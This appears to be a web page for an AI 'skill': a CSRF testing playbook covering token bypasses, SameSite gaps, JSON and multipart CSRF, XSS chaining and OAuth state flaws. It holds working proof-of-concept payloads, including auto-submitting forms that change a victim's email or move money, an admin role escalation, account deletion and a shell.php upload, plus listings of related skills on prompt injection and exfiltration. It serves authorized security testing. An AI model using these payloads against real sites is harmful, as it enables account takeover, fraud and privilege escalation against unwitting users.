القائمة
CSRF testing playbook. Use when reviewing state-changing web flows, anti-CSRF defenses, SameSite behavior, JSON CSRF, login CSRF, and OAuth state handling.
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
استنادا إلى تصنيف SOC المهني
| name | csrf-cross-site-request-forgery |
| description | CSRF testing playbook. Use when reviewing state-changing web flows, anti-CSRF defenses, SameSite behavior, JSON CSRF, login CSRF, and OAuth state handling. |
AI LOAD INSTRUCTION: Expert CSRF techniques. Covers modern bypass vectors (SameSite gaps, custom header flaws, tokenless bypass patterns), JSON CSRF, multipart CSRF, chaining with XSS. Base models often present only basic CSRF without covering SameSite edge cases and common broken token implementations.
Also load:
CSRF exploits a victim's active session to perform state-changing requests from the attacker's origin.
Required conditions:
High-value state-changing endpoints:
- Password change ← account takeover
- Email change ← account takeover
- Add admin / change role ← privilege escalation
- Bank/payment transfer ← financial impact
- OAuth app authorization ← hijack oauth flow
- Account deletion
- Two-factor auth disable
- SSH key / API key addition
- Webhook configuration
- Profile/contact info update
Simplest case — form simply lacks CSRF token. Check if POST /change-email has any token. If not → trivially exploitable.
Token exists in request but is never verified server-side:
Remove the _csrf_token parameter entirely → does request still succeed?
→ YES → trivial bypass
Step 1: Log in as UserA → obtain valid CSRF token
Step 2: Log in as UserB in other browser → obtain UserB CSRF token
Step 3: Use UserB's CSRF token in UserA's session (attacker controls UserB)
→ If server validates token exists but doesn't check if it belongs to the session → bypass
When server sets CSRF token as cookie and expects it back in a header/form:
Set-Cookie: csrf=ATTACKER_CONTROLLED
→ If cookie can be set by subdomain (cookie tossing): set cookie to known value
→ Submit form with known token in header + known token in cookie = bypass
→ Same token across all users/sessions
→ Token = base64(username) or md5(session_id) → reversible
→ Token = timestamp → predictable
If attacker can write cookies for .target.com from subdomain XSS or cookie tossing:
→ Set csrf_cookie=CONTROLLED on .target.com
→ Submit request with X-CSRF-Token: CONTROLLED
→ Server checks header == cookie → match → bypass
SameSite=Lax (modern browser default): cookies sent for top-level GET navigation, NOT for cross-site iframe/form POST.
Bypass SameSite=Lax via GET method:
<!-- If server accepts GET for state-changing endpoint: -->
<img src="https://target.com/account/delete?confirm=yes">
<script>document.location = 'https://target.com/transfer?to=attacker&amount=1000';</script>
Bypass via subdomain XSS (SameSite Lax/Strict):
// XSS on sub.target.com → same-site origin → SameSite cookies sent!
// Use XSS as staging point for CSRF
window.location = 'https://target.com/account/modify?evil=true';
SameSite=None (legacy or explicit): cookies sent everywhere → classic CSRF applies.
Cookie issued recently? Lax exemption: Chrome has a 2-minute exception where Lax cookies ARE sent on cross-site POSTs if the cookie was just set (for OAuth flows). Race window: set cookie, immediately trigger CSRF within 2 minutes.
<html>
<body>
<form id="csrf" action="https://target.com/account/email/change" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
<input type="hidden" name="confirm_email" value="attacker@evil.com">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
<body onload="document.forms[0].submit()">
<form action="https://target.com/transfer" method="POST">
<input name="to" value="attacker_account">
<input name="amount" value="10000">
</form>
</body>
<img src="https://target.com/api/v1/admin/delete-user?id=12345" style="display:none">
If API requires custom header like X-CSRF-Token but also accepts JSON with wildcard CORS — custom headers don't protect if CORS misconfigured:
// If Access-Control-Allow-Origin: * with credentials → broken
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.com/api/transfer");
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true; // still need cookie sending
xhr.send('{"to":"attacker","amount":1000}');
When endpoint accepts Content-Type: application/json — fetch() with CORS credentials:
// If CORS allows credentials + the endpoint:
fetch('https://target.com/api/v1/change-email', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: 'attacker@evil.com'})
});
Requires: Access-Control-Allow-Origin: https://attacker.com AND Access-Control-Allow-Credentials: true
If server only accepts application/json but no fetch CORS:
Can't do proper JSON CSRF from HTML form (forms can only send application/x-www-form-urlencoded, multipart/form-data, text/plain).
Trick — Content-Type Downgrade: If server processes text/plain body as JSON:
<form enctype="text/plain" method="POST" action="https://target.com/api">
<input name='{"email":"attacker@evil.com","ignore":"' value='"}'>
</form>
Resulting body: {"email":"attacker@evil.com","ignore":"="}
When changing Content-Type from application/json to multipart/form-data and request still works:
<form method="POST" action="https://target.com/api/update" enctype="multipart/form-data">
<input name="email" value="attacker@evil.com">
</form>
When CSRF protection is otherwise solid, XSS enables CSRF bypass:
// Step 1: XSS reads CSRF token from DOM
var token = document.querySelector('input[name="csrf_token"]').value;
// Step 2: Submit CSRF request with real token
var xhr = new XMLHttpRequest();
xhr.open('POST', '/account/delete', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('confirm=yes&csrf_token=' + token);
OAuth flow without state parameter → CSRF on the OAuth authorization:
Attack:
https://target.com/oauth/callback?code=ATTACKER_CODEImpact: Attacker can log in as victim.
□ Remove CSRF token entirely → does request succeed?
□ Change CSRF token to random value → does request succeed?
□ Use CSRF token from another user's session → does request succeed?
□ Check if GET version of POST endpoint exists
□ Check SameSite attribute of session cookie
□ Test if Content-Type change (json → form → text/plain) still processes
□ Check CORS policy: does Access-Control-Allow-Credentials: true appear?
With wildcard or attacker origin? → exploitable JSON CSRF
□ Check OAuth flows for missing state parameter
□ Test referrer-based protection: send request with no Referer header
□ Test referrer-based protection: spoof subdomain in referer
<!-- Browser sends Content-Type: text/plain with JSON-like body -->
<form action="https://target.com/api/role" method="POST" enctype="text/plain">
<input name='{"role":"admin","ignore":"' value='"}' type="hidden">
<input type="submit" value="Click me">
</form>
<!-- Resulting body: {"role":"admin","ignore":"="} -->
<!-- Server may parse as JSON if it doesn't strictly check Content-Type -->
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.com/api/role", true);
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json");
xhr.send('{"role":"admin"}');
</script>
<!-- Only works if CORS allows the origin (misconfigured CORS + CSRF combo) -->
<script>
fetch("https://target.com/api/role", {
method: "POST",
credentials: "include",
headers: {"Content-Type": "text/plain"},
body: '{"role":"admin"}'
});
</script>
<script>
var formData = new FormData();
formData.append("file", new Blob(["malicious content"], {type: "text/plain"}), "shell.php");
formData.append("action", "upload");
fetch("https://target.com/upload", {
method: "POST",
credentials: "include",
body: formData
});
</script>
Normal flow: Frontend fetches /api/user/PROFILE_ID/settings
Attack: Set PROFILE_ID to ../../admin/dangerous-action
Result: Frontend's fetch() hits /api/admin/dangerous-action with victim's cookies
This converts a path traversal into a CSRF-like attack without needing a CSRF token
| Aspect | Traditional CSRF | CSPT2CSRF |
|---|---|---|
| Origin | Attacker's site | Same-origin JavaScript |
| Token bypass | Needs token forgery | No token needed (same-origin) |
| SameSite | Blocked by SameSite=Strict | Bypasses SameSite (same site!) |
| Detection | Standard CSRF checks | Requires input validation on path segments |
Entry P1 category router for API security. Use when choosing between API recon, authorization, token abuse, and hidden-parameter workflows before any deeper API topic skill.
Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gate
Automate low-impact web vulnerability verification through Burp MCP. Use when Codex is asked to check, reproduce, triage, or write evidence for vulnerabilities using Burp Suite proxy history, Repeater, Collaborator/OOB payloads, HTTP replay, parameter mutation, response diffing, or scanner issues. Also use for mini program/微信小程序 Burp history, wildcard domains like *.example.com, root-domain traffic reviews, arbitrary login/任意登录, session_key/sessionKey/sessionkey/session-key/session key/sess_key/sessKey/wxSessionKey/wx_session_key/wechatSessionKey/thirdSessionKey/decryptKey/openDataKey, jscode2Session/jscode2session/code2Session, openid/unionid, getPhoneNumber, encryptedData/iv, appSecret, or phone-login checks; in those cases enumerate all Hosts and search response bodies for WeChat session leaks before reporting no issue.
Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.
CORS misconfiguration testing playbook. Use when analyzing cross-origin trust, credentialed browser reads, origin reflection, null origin, JSONP hijacking, preflight policy bugs, and browser-based access to authenticated APIs.
CRLF injection playbook. Use when user input reaches HTTP response headers, Location redirects, Set-Cookie values, or log files where carriage-return/line-feed characters can split or inject content.